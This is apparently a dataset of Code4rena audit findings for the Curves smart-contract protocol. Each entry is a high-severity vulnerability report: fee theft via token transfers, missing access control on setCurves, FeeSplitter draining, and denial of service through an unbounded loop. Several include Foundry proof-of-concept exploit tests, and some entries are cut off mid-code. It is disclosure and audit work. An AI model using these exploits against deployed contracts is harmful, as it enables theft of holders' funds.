xanoutas/solidity-security-findings huggingface dataset:
Potential Fee Theft via Token Transfer Exploit in `FeeSplitter.sol`
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80


# Vulnerability details

### Impact
The `FeeSplitter` contract's `claimFees` function is vulnerable to an exploit where users can steal fees from other token holders. By repeatedly transferring a small amount of subject tokens and calling `claimFees`, a user can claim more fees than entitled to, due to the lack of a mechanism tracking the duration of token holding. This vulnerability could lead to unfair fee distribution and loss of fees for legitimate token holders.

---

### Proof of Concept
In `FeeSplitter.sol`, the `claimFees` function calculates claimable fees based on the current token balance without considering the duration for which the tokens were held. Malicious users can exploit this by transferring tokens back and forth between accounts and claiming fees, effectively "stealing" fees that should have been distributed to longer-term holders.

#### Code Snippet:
```solidity
function claimFees(address token) external {
    // @audit-issue H-03 Vulnerability to fee theft via token transfer
    updateFeeCredit(token, msg.sender);
    uint256 claimable = getClaimableFees(token, msg.sender);
    if (claimable == 0) revert NoFeesToClaim();
    tokensData[token].unclaimedFees[msg.sender] = 0;
    payable(msg.sender).transfer(claimable);
    emit FeesClaimed(token, msg.sender, claimable);
}
```

### PoC
```solidity
function testUserStealYield() public {
        deal(alice, 1 ether);
        deal(bob, 10 ether);
        deal(john, 1 ether);
        deal(jane, 1 ether);

        vm.prank(alice);
        instance.buyCurvesToken(alice, 1);

        vm.startPrank(bob);
        uint256 initialBalance = bob.balance;
        uint256 sharesToBuy = 5;
        instance.buyCurvesToken{value: 3 ether}(alice, sharesToBuy);

        uint256 availableFeeBob = splitter.getClaimableFees(alice, bob);
        vm.stopPrank();

        vm.startPrank(jane);
        instance.buyCurvesToken{value: 0.5 ether}(alice, 2);
        uint256 availableFeeJane = splitter.getClaimableFees(alice, jane);
        splitter.claimFees(alice);

        instance.transferCurvesToken(alice, john, 2);
        vm.stopPrank();

        vm.startPrank(john);
        uint256 availableFeeJohn = splitter.getClaimableFees(alice, john);
        splitter.claimFees(alice);
        vm.stopPrank();

        assertNotEq(availableFeeJane, 0);
        assertNotEq(availableFeeJohn, 0);
        assertGt(jane.balance, 0.5 ether);
        assertGt(john.balance, 1 ether);

        vm.expectRevert(); // Reverts with OutOfFund
        vm.prank(bob);
        splitter.claimFees(alice);
    }
```

### Tools Used
Manual Review

### Recommended Mitigation Steps
Implement a system that tracks the duration for which each user holds their tokens. This will enable the contract to calculate claimable fees based not only on the amount of held tokens but also on how long they have been
Wrong input arguement for `feesplitter::onBalanceChange()` and `feesplitter::addFees`  in `curve::_transferFee()` function
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L247
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L248


# Vulnerability details

## Impact
`Curves::_transferFee()` called `feesplitter::onBalanceChange` and `feesplitter::addFees()` with `curvesTokenSubject` as an argument, where as the logic of the two functions expected the curveToken to be passed in order to be able to make successful call if the condition passes to the code block in question, but unfortunately, This function will deny users the ability to interact successfully as the call to the feesplitter are not been called with the correct argument.
## Proof of Concept
```
  function setUp() external {
        feespliter = new FeeSplitter();
        factory = new CurvesERC20Factory();

        curves = new Curves(address(factory), address(feespliter));
        curves.setMaxFeePercent(5e16);
        curves.setProtocolFeePercent(2e16, protocol);
        curves.setExternalFeePercent(1.5e16, 0.5e16, 1e16);

    }

function testUnsuccessfulFunctionCall() external {
        vm.prank(owner);
        //tokensubject no fee for buying 1 token first
        curves.buyCurvesToken(owner, 1);
        uint pricewithFee = curves.getBuyPriceAfterFee(owner, 10);
        vm.deal(user1, 10 ether);
        vm.prank(user1);
        curves.buyCurvesToken{value: pricewithFee}(owner, 10);

        
}
```
```
testCurve::testUnsuccessfulFunctionCall()
    ├─ [0] VM::prank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
    │   └─ ← ()
    ├─ [81616] Curves::buyCurvesToken(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], 1)
    │   ├─ [0] protocol::fallback()
    │   │   └─ ← ()
    │   ├─ [0] owner::fallback()
    │   │   └─ ← ()
    │   ├─ [9850] FeeSplitter::onBalanceChange(Curves: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
    │   │   └─ ← EvmError: Revert
    │   └─ ← EvmError: Revert
    └─ ← EvmError: Revert
```
the stack traces show the function reverted while trying to trigger the `feesplitter::onBalanceChange()` function.
NOTE: This call will be successful if the condition to call the `feesplitter::onBalanceChange()` and `feesplitter::addFees()` from `Curves::_fransferFee` is not met.

## Tools Used
manual Review and Foundry
## Recommended Mitigation Steps
the team is advisable to look at the line properly and make sure what is being passed as arguement from `Curves::_fransferFee` to `feesplitter::onBalanceChange()` and `feesplitter::addFees()` is actually the curve token intended.


## Assessed type

Context
Lack of slippage protection in Curves contract
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L263-L280
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L282-L293


# Vulnerability details

Due to the `_buyCurvesToken` and `sellCurvesToken` functions, when executed, if the price is not equal to the expected price (calculated before sending the transaction), two bad scenarios arise:

- ##### Price decrease before the trader's buy transaction is executed:
    The trader loses the additional value paid, which becomes locked in the contract since the contract does not refund the excess amount.

- ##### Price decrease before the trader's sell transaction is executed:
    The trader sells their tokens at a lower price than expected.

## Impact
* Extra paid value remains locked, resulting in financial loss for the trader.
* The trader sells their tokens at an unexpected price

## Proof of Concept
``` solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {CurvesERC20} from "@contracts/CurvesERC20.sol";
import {CurvesERC20Factory} from "@contracts/CurvesERC20Factory.sol";
import {FeeSplitter} from "@contracts/FeeSplitter.sol";
import {Curves} from "@contracts/Curves.sol";

contract CurvesPOC is Test {
    CurvesERC20 public curvesERC20;
    CurvesERC20Factory public curvesERC20Factory;
    Curves public curves;
    FeeSplitter public feeSplitter;

    // Addresses
    address public owner = makeAddr("OWNER");
    address public protocolFeeDestination = makeAddr("PROTOCOL_FEE_DESTINATION");
    address public attacker = makeAddr("ATTACKER");
    address public curvesSubject = makeAddr("CURVES_SUBJECT");
    address public alice = makeAddr("ALICE");
    address public bob = makeAddr("BOB");

    function setUp() public {
        vm.startPrank(owner);

        // Deploy contracts by owner
        curvesERC20 = new CurvesERC20("Curves", "CURVES", owner);
        curvesERC20Factory = new CurvesERC20Factory();
        feeSplitter = new FeeSplitter();
        curves = new Curves(address(curvesERC20Factory), address(feeSplitter));
        feeSplitter.setManager(address(curves), true);

        // Change curve address
        feeSplitter.setCurves(curves);
        assert(feeSplitter.curves() == curves);

        // Changing fee percent (sample values)
        curves.setMaxFeePercent(1e18);
        curves.setProtocolFeePercent(1e17, protocolFeeDestination);
        curves.setExternalFeePercent(1e17, 1e17, 7e17);

        vm.stopPrank();
    }

    function test_traderCanLossMoneyWithoutSlippageProtection() public {
        // Funding users
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);

        console.log("Contract balance at start: ", address(feeSplitter).balance);

        // Curve token subject create token
        vm.prank(curvesSubject);
Missing constructor for Ownable in CurvesERC20.sol
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/CurvesERC20.sol#L8


# Vulnerability details

## Impact
There is no constructor set up for Ownable, CurvesERC20 can't be deployed as there will be an error for this issue


## Tools Used
Manual Review

## Recommended Mitigation Steps
replace transferOwnership(owner) with Ownable(owner) as [OpenZeppelin Wizard](https://wizard.openzeppelin.com) suggests:

```solidity
    constructor(string memory name_, string memory symbol_, address owner) ERC20(name_, symbol_) + Ownable(owner){
-        transferOwnership(owner); //@audit wrong constructor for ownable
    }
```


## Assessed type

Other
`_addOwnedCurvesTokenSubject()` loop limit
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L328-L336


# Vulnerability details



## Impact
The `ownedCurvesTokenSubjects` list may grow too long and break loop limits, preventing a user from buying new tokens or depositing and withdrawing.
This may happen to oneself through normal usage, or be caused deliberately and maliciously to someone else.

## Proof of Concept
[`_addOwnedCurvesTokenSubject()`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L328-L336) loops through a `ownedCurvesTokenSubjects` list and pushes a subject to it (if not a duplicate).
`_addOwnedCurvesTokenSubject()` is called whenever [a new token is bought](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L277-L279), or tokens are deposited or withdrawn (via [`_transfer()`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L318)).
This list can only grow, and may therefore eventually break, impede, or render costly, said functionalities.

This can happen not only through normal usage, but may be deliberately caused to someone by a malicious actor. An attacker can grief a victim by spamming him with many new tokens using [`transferCurvesToken()`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L296-L299) which adds these to the victim's `ownedCurvesTokenSubjects` list.

## Recommended Mitigation Steps
Reconsider the utility/necessity of using a list in order to be able to `transferAllCurvesTokens()`.


## Assessed type

Loop
transferCurvesToken allows destination addresses to claim fees beyond the actual value
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L296-L299
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L302-L311


# Vulnerability details

Both `transferCurvesToken` and `transferAllCurvesTokens` in the Curves contract utilize the `_transfer` function:
``` solidity
function transferCurvesToken(address curvesTokenSubject, address to, uint256 amount) external {
    if (to == address(this)) revert ContractCannotReceiveTransfer();
    _transfer(curvesTokenSubject, msg.sender, to, amount);
}
```

``` solidity
function transferAllCurvesTokens(address to) external {
    if (to == address(this)) revert ContractCannotReceiveTransfer();
    address[] storage subjects = ownedCurvesTokenSubjects[msg.sender];
    for (uint256 i = 0; i < subjects.length; i++) {
        uint256 amount = curvesTokenBalance[subjects[i]][msg.sender];
        if (amount > 0) {
            _transfer(subjects[i], msg.sender, to, amount);
        }
    }
}
```

Due to the implementation of `_transfer`, it fails to update the holders' fee offset, leading to this issue:
``` solidity
function _transfer(address curvesTokenSubject, address from, address to, uint256 amount) internal {
    if (amount > curvesTokenBalance[curvesTokenSubject][from]) revert InsufficientBalance();

    // If transferring from oneself, skip adding to the list
    if (from != to) {
        _addOwnedCurvesTokenSubject(to, curvesTokenSubject);
    }

    curvesTokenBalance[curvesTokenSubject][from] = curvesTokenBalance[curvesTokenSubject][from] - amount;
    curvesTokenBalance[curvesTokenSubject][to] = curvesTokenBalance[curvesTokenSubject][to] + amount;

    emit Transfer(curvesTokenSubject, from, to, amount);
}
```

## Impact
* The destination address claims more fees, resulting in a loss for other holders.

## Proof of Concept
``` solidity
contract CurvesPOC is Test {
    CurvesERC20 public curvesERC20;
    CurvesERC20Factory public curvesERC20Factory;
    Curves public curves;
    FeeSplitter public feeSplitter;

    // Addresses
    address public owner = makeAddr("OWNER");
    address public protocolFeeDestination = makeAddr("PROTOCOL_FEE_DESTINATION");
    address public attacker = makeAddr("ATTACKER");
    address public curvesSubject = makeAddr("CURVES_SUBJECT");
    address public alice = makeAddr("ALICE");
    address public bob = makeAddr("BOB");

    function setUp() public {
        vm.startPrank(owner);

        // Deploy contracts by owner
        curvesERC20 = new CurvesERC20("Curves", "CURVES", owner);
        curvesERC20Factory = new CurvesERC20Factory();
        feeSplitter = new FeeSplitter();
        curves = new Curves(address(curvesERC20Factory), address(feeSplitter));
        feeSplitter.setManager(address(curves), true);

        // Change curve address
        feeSplitter.setCurves(curves);
        assert(feeSplitter.curves() == curves);
Missing access control in FeeSplitter allows anyone to change Curve address
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35-L37


# Vulnerability details

`setCurves` lacks validation to ensure that only the contract owner or designated managers can set the address.
``` soldiity
function setCurves(Curves curves_) public {
    curves = curves_;
}
```

## Impact
* Direct theft of holders generated fees.

## Proof of Concept
``` solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {CurvesERC20} from "@contracts/CurvesERC20.sol";
import {CurvesERC20Factory} from "@contracts/CurvesERC20Factory.sol";
import {FeeSplitter} from "@contracts/FeeSplitter.sol";
import {Curves} from "@contracts/Curves.sol";

contract MaliciousCurves is Curves{
    constructor(address curvesERC20Factory_, address feeRedistributor_) Curves(curvesERC20Factory_, feeRedistributor_) {}


    function setCurvesTokenBalance(address subject, address holder, uint256 value) public {
        curvesTokenBalance[subject][holder] = value;
    }

    function setCurvesTokenSupply(address subject, uint256 supply) public {
        curvesTokenSupply[subject] = supply;
    }
}

contract CurvesPOC is Test {
    CurvesERC20 public curvesERC20;
    CurvesERC20Factory public curvesERC20Factory;
    Curves public curves;
    FeeSplitter public feeSplitter;

    // Addresses
    address public owner = makeAddr("OWNER");
    address public protocolFeeDestination = makeAddr("PROTOCOL_FEE_DESTINATION");
    address public attacker = makeAddr("ATTACKER");
    address public curvesSubject = makeAddr("CURVES_SUBJECT");
    address public alice = makeAddr("ALICE");
    address public bob = makeAddr("BOB");

    function setUp() public {
        vm.startPrank(owner);

        // Deploy contracts by owner
        curvesERC20 = new CurvesERC20("Curves", "CURVES", owner);
        curvesERC20Factory = new CurvesERC20Factory();
        feeSplitter = new FeeSplitter();
        curves = new Curves(address(curvesERC20Factory), address(feeSplitter));
        feeSplitter.setManager(address(curves), true);

        // Change curve address
        feeSplitter.setCurves(curves);
        assert(feeSplitter.curves() == curves);

        // Changing fee percent (sample values)
        curves.setMaxFeePercent(1e18);
        curves.setProtocolFeePercent(1e17, protocolFeeDestination);
        curves.setExternalFeePercent(1e17, 1e17, 7e17);

        vm.stopPrank();
    }

    function test_theftHoldersFees() public {
        // Funding users
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);

        // Curve token subject create token
        vm.prank(curvesSubject);
        curves.buyCurvesTokenWithName(curvesSubject, 1, "CURVES_SUBJECT", "CURVES_SUBJECT_SYMBOL");

        // Users buy curve subject tokens
        uint256 alice_amount = 1;
        uint256 price = curves.getPrice(curves.curvesToke
Holder fee accounting is not updated on holder balance change; FeeSplitter can be drained
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L67


# Vulnerability details



## Impact
When tokens are deposited or withdrawn (converted between Curves and ERC20) appropriate actions are not taken to update the holder fee accounting, such that unclaimed fees are lost on withdrawn tokens and (contrary to design) holder fees can be claimed on exported/withdrawn tokens by depositing them immediately before claiming fees on them.
The amount that can be claimed is the amount due to each currently deposited token when fees are added. Since this implies that more fees can be claimed than are available, this can be leveraged to drain the FeeSplitter contract.

## Proof of Concept
For a given token, fees enter FeeSplitter through
```solidity
function addFees(address token) public payable onlyManager {
    uint256 totalSupply_ = totalSupply(token);
    if (totalSupply_ == 0) revert NoTokenHolders();
    TokenData storage data = tokensData[token];
    data.cumulativeFeePerToken += (msg.value * PRECISION) / totalSupply_;
}
```
which distributes the added fees equally over the `totalSupply_` of the token. This only counts the currently held tokens (not exported/withdrawn as ERC20s):
```solidity
function totalSupply(address token) public view returns (uint256) {
    //@dev: this is the amount of tokens that are not locked in the contract. The locked tokens are in the ERC20 contract
    return (curves.curvesTokenSupply(token) - curves.curvesTokenBalance(token, address(curves))) * PRECISION;
}
```

Fees are then claimed by calling 
```solidity
function claimFees(address token) external {
    updateFeeCredit(token, msg.sender);
    uint256 claimable = getClaimableFees(token, msg.sender);
    if (claimable == 0) revert NoFeesToClaim();
    tokensData[token].unclaimedFees[msg.sender] = 0;
    payable(msg.sender).transfer(claimable);
    emit FeesClaimed(token, msg.sender, claimable);
}
```
The functions in the first two lines
```solidity
function updateFeeCredit(address token, address account) internal {
    TokenData storage data = tokensData[token];
    uint256 balance = balanceOf(token, account);
    if (balance > 0) {
        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
        data.unclaimedFees[account] += owed / PRECISION;
        data.userFeeOffset[account] = data.cumulativeFeePerToken;
    }
}

function getClaimableFees(address token, address account) public view returns (uint256) {
    TokenData storage data = tokensData[token];
    uint256 balance = balanceOf(token, account);
    uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
    return (owed / PRECISION) + data.unclaimedFees[account];
}
```
somewhat redundantly updates and returns the amount of unclaimed fees as the unclaimed fees per token times the user's balance of tokens, which again is the balance of only the held tokens:
```solidity
Sophisticated DOS attack by minting rogue curvesTokenSubject
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L439-L454


# Vulnerability details

## Impact
A griefer can mint rogue tokens into the system by calling ``curves.mint()`` with the malicious contract. This bypasses the ``onlyTokenSubject()`` check. 
This deploys a curveerc20 token, and purchases can start through the buy functions.  
The issue here is the ``_addOwnedCurvesTokenSubject()`` , that is called when a user gets transferred a new token. 
But since a malicious user can keep minting different addresses through ``curves.mint()`` , and buying small amounts, and transferring them using the ``curves.transferCurvesToken()``, they can cause the number of tokens stored in the  ``ownedCurvesTokenSubjects`` for a  user to exceed the gas limit. 

This will cause all new transfers to that address to be reverted due to exceeding the gas limit. 
This is because the all transfers iterate over the ``ownedCurvesTokenSubjects`` for a  user. 
```solidity
    function _transfer(address curvesTokenSubject, address from, address to, uint256 amount) internal {
        if (amount > curvesTokenBalance[curvesTokenSubject][from]) revert InsufficientBalance();

        // If transferring from oneself, skip adding to the list
        if (from != to) {
            _addOwnedCurvesTokenSubject(to, curvesTokenSubject);
        }

        curvesTokenBalance[curvesTokenSubject][from] = curvesTokenBalance[curvesTokenSubject][from] - amount;
        curvesTokenBalance[curvesTokenSubject][to] = curvesTokenBalance[curvesTokenSubject][to] + amount;

        emit Transfer(curvesTokenSubject, from, to, amount);
    }

    // Internal function to add a curvesTokenSubject to the list if not already present
    function _addOwnedCurvesTokenSubject(address owner_, address curvesTokenSubject) internal {
        address[] storage subjects = ownedCurvesTokenSubjects[owner_];
        for (uint256 i = 0; i < subjects.length; i++) {
            if (subjects[i] == curvesTokenSubject) {
                return;
            }
        }
        subjects.push(curvesTokenSubject);
    }
```
## Proof of Concept

By minting with multiple malicious CurveTokenSubjects addresses, the DOS attack is settled. as seen below, any contract can call the mint() function and the corresponding buy function. The mint:
```solidity
 function mint(address curvesTokenSubject) external onlyTokenSubject(curvesTokenSubject) {
        if (
            keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
            keccak256(abi.encodePacked("")) ||
            keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].symbol)) ==
            keccak256(abi.encodePacked(""))
        ) {
            externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
            externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
        }
        _mint(
            curvesTokenSubject,
            ext